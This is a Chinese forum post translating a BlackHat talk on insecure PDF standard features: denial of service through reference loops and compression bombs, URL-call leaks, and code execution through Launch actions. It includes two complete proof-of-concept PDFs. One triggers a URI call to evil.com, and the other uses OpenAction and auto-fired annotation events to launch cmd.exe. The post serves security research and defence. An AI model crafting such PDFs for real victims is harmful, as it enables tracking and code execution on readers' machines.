首页
社区
课程
招聘
[翻译]【BlackHat】PDFlaw 101
发表于: 2025-5-4 23:06 1157

[翻译]【BlackHat】PDFlaw 101

2025-5-4 23:06
1157

BlackHat2020标题:
PDFlaw 101

视频:
94aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2T1K9h3I4A6j5X3W2D9K9g2)9J5k6h3y4G2L8g2)9J5c8Y4k6A6k6r3g2G2i4K6u0r3b7W2j5I4h3r3A6K9M7W2W2^5c8i4c8$3

该议题由RUB-NDS分享,从PDF标准出发,涵盖了pdf文件的攻击面,讨论PDF标准中存在的缺陷,可以归类于pdf逻辑漏洞。

1. PDF基础

pdf文件本质上是纯文本形式的,下图展示一个pdf文件的文本组成,它在reader上会显示hello world。从逻辑组成上来讲,pdf 1.7包括四个基本组成部分:header,body,xref table和trailer。所以pdf的处理过程事实上是自底向上的。

1.1PDF相关安全研究

针对pdf加密进行攻击:
2019年,Mueller发表论文“Practical Decryption exFiltration: Breaking PDF Encryption”,采用直接泄露、CBC gadget两种攻击模型对加密的pdf进行攻击,取得不错的效果。

针对pdf签名进行攻击:
同年,Mladenov发表论文“1 Trillion Dollar Refund– How To Spoof PDF Signatures”,以pdf签名机制作为切入点,研究了pdf签名的伪造方法。令人惊讶的是,只要可以访问加密pdf,任何人都可以篡改内容并重新签名。

除此之外,还有针对pdf修订、元数据和混合类型等方面的研究。议题跳出pdf业务安全的范畴,针对pdf标准中可以导致DoS、信息泄露和RCE的危险特性进行研究。

1.2PDF特性

议题聚焦于不安全的特性,通过测试pdf标准的所有组成,可以发现pdf的多种不安全action,比如:外部链接URL、javascript支持、事件触发的多种action等等。

上图展示了pdf标准(第六版)的主要组成元素,这些元素是议题研究的重点,将会在每个章节被提到。

1.3PDF攻击模型

在现实中,pdf的攻击场景很简单,只需要受害者打开恶意的pdf。

  1. 受害者打开恶意pdf,从不受信任的源获取,比如网络下载,邮件附件。
  2. 恶意攻击实施。
  3. 无需用户交互。

2.DoS攻击

2.1无限循环

根据pdf标准,可以创造无限循环,消耗CPU资源。首先,page对象的定义中,kids索引可以是page对象,或者其他page节点,那么如果索引自己,就会生成一个引用环,这在pdf解析时是符合标准的。该逻辑漏洞分配了编号CVE-2007-0104。

这种自引用或者递归手法,可以导致无限循环的产生,令人惊讶的是,标准中有相当多的变种:

  1. pdf action允许/Next指定下一个执行的action,这样就可以构造action的引用环。
  2. pdf 对象流允许/Extend指定自己作为扩展对象。
  3. outline条目可以引用自身。
  4. PS/Type 4计算器函数,允许定义一个递归的函数。
  5. js简单粗暴,可以直接写一个无限循环。

2.2压缩炸弹

构造无限循环,可以消耗CPU资源,那么构造压缩炸弹可以消耗内存资源。说到压缩炸弹,最有名的当属zip炸弹,最早的压缩炸弹应用,可以追溯到1997年。
在pdf标准中,流可以被压缩,通常默认使用deflate算法对流进行压缩。解析时必定要解压流,来显示内容,这就给了构造pdf压缩炸弹的机会。如果直接使用10GB字符串作炸弹,只能占用10GB内存,效率为1;如果使用deflate压缩算法,一次压缩可以达到1024的效率,多次压缩可以达到指数型增长。

3.信息泄露

URL调用可以导致CSRF攻击,最早的报告来自BlackHat2008,使用/OpenAction事件触发Adobe Reader的URL调用,很快被大部分Reader禁止。

那么可以考虑通过其他事件来触发,比如在firefox中,可以使用/Link调用Launch action实现相同的效果,由于firefox对URL的预处理,打开pdf文件即可触发URL调用。

公开的PoC(5d1K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6d9g2f1u0Q4x3X3c8z5c8q4y4Q4x3V1k6b7c8p5j5I4x3o6q4Q4c8f1k6Q4b7V1y4Q4z5o6W2Q4c8f1k6Q4b7V1y4Q4z5f1p5`.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
%PDF-1.7
 
1 0 obj
  << /Type /Catalog
     /Pages 2 0 R
  >>
endobj
 
2 0 obj
  << /Type /Pages
     /Kids [3 0 R]
     /Count 1
     /MediaBox [0 0 595 842]
  >>
endobj
 
3 0 obj
  << /Type /Page
     /Parent 2 0 R
     /Resources
      << /Font
          << /F1
              << /Type /Font
                 /Subtype /Type1
                 /BaseFont /Courier
              >>
          >>
      >>
     /Annots [<< /Type /Annot
                 /Subtype /Link
                 /Open true
                 /A 5 0 R
                 /H /N
                 /Rect [0 0 595 842]
              >>]
     /Contents [4 0 R]
  >>
endobj
 
4 0 obj
  << /Length 67 >>
stream
  BT
    /F1 22 Tf
    30 800 Td
    (Testcase: 'uri'     ) Tj
  ET
endstream
endobj
 
5 0 obj
  << /Type /Action
     /S /URI
     /URI (http://evil.com/0.pdf) ← URL调用
  >>
endobj
 
xref
0 6
0000000000 65535 f
0000000010 00000 n
0000000069 00000 n
0000000170 00000 n
0000000629 00000 n
0000000749 00000 n
trailer
  << /Root 1 0 R
     /Size 6
  >>
startxref
854
%%EOF

4.代码执行

pdf标准定义的launch action,用法是执行一个程序,或者打开、打印一个文件,因此可以说,pdf是为代码执行而生的。

公开的PoC(b0bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6d9g2f1u0Q4x3X3c8z5c8q4y4Q4x3V1k6b7c8p5j5I4x3o6q4Q4c8f1k6Q4b7V1y4Q4z5o6W2Q4c8f1k6Q4b7V1y4Q4z5f1p5`.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
%PDF-1.7
 
1 0 obj
  << /Type /Catalog
     /Pages 2 0 R
     /OpenAction 5 0 R
  >>
endobj
 
2 0 obj
  << /Type /Pages
     /Kids [3 0 R]
     /Count 1
     /MediaBox [0 0 595 842]
  >>
endobj
 
3 0 obj
  << /Type /Page
     /Parent 2 0 R
     /Resources
      << /Font
          << /F1
              << /Type /Font
                 /Subtype /Type1
                 /BaseFont /Courier
              >>
          >>
      >>
     /Annots [<< /Type /Annot
                 /Subtype /Screen
                 /Open true
                 /P 3 0 R
                 /AA << /5 0 R /5 0 R /5 0 R /5 0 R /Fo 5 0 R
                        /BI 5 0 R /PO 5 0 R /PC 5 0 R /PV 5 0 R /PI 5 0 R
                     >>
                 /Rect [0 0 595 842]
              >>
              << /Type /Annot
                 /Subtype /Link
                 /Open true
                 /A 5 0 R
                 /H /N
                 /Rect [0 0 595 842]
              >>]
     /AA << /O 5 0 R
            /C 5 0 R
         >>
     /Contents [4 0 R]
  >>
endobj
 
4 0 obj
  << /Length 90 >>
stream
  BT
    /F1 22 Tf
    30 800 Td
    (Testcase: 'Code Execution (Launch Action)') Tj
  ET
endstream
endobj
 
5 0 obj
  << /Type /Action
     /S /Launch
     /F (C:\\Windows\\System32\\cmd.exe) ← 弹出cmd
  >>
endobj
 
xref
0 6
0000000000 65535 f
0000000010 00000 n
0000000092 00000 n
0000000193 00000 n
0000001050 00000 n
0000001192 00000 n
trailer
  << /Root 1 0 R
     /Size 6
  >>
startxref
1289
%%EOF

5.评估

针对28个pdf redaer进行评估,其中包括web浏览器、专业的pdf编辑器等。可以看到,普遍存在DoS攻击的风险,RCE只在个别reader中存在。

6.解决方案

  1. pdf标准角度,约束不合法的行为,比如自引用。
  2. reader角度,约束单个pdf资源,防止压缩炸弹,web浏览器通常采用沙盒,防止代码执行。
  3. js是头号公敌,移除或者限制它是最好的方案。
  4. reader角度,识别恶意路径,比如URL调用导致的CSRF。

7.结论

与其他格式文件不同,pdf格式是复杂的;标准有很多危险特性,充满了陷阱;pdf是天生的逻辑漏洞利用链。


[培训]科锐逆向工程师培训第53期2025年7月8日开班!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回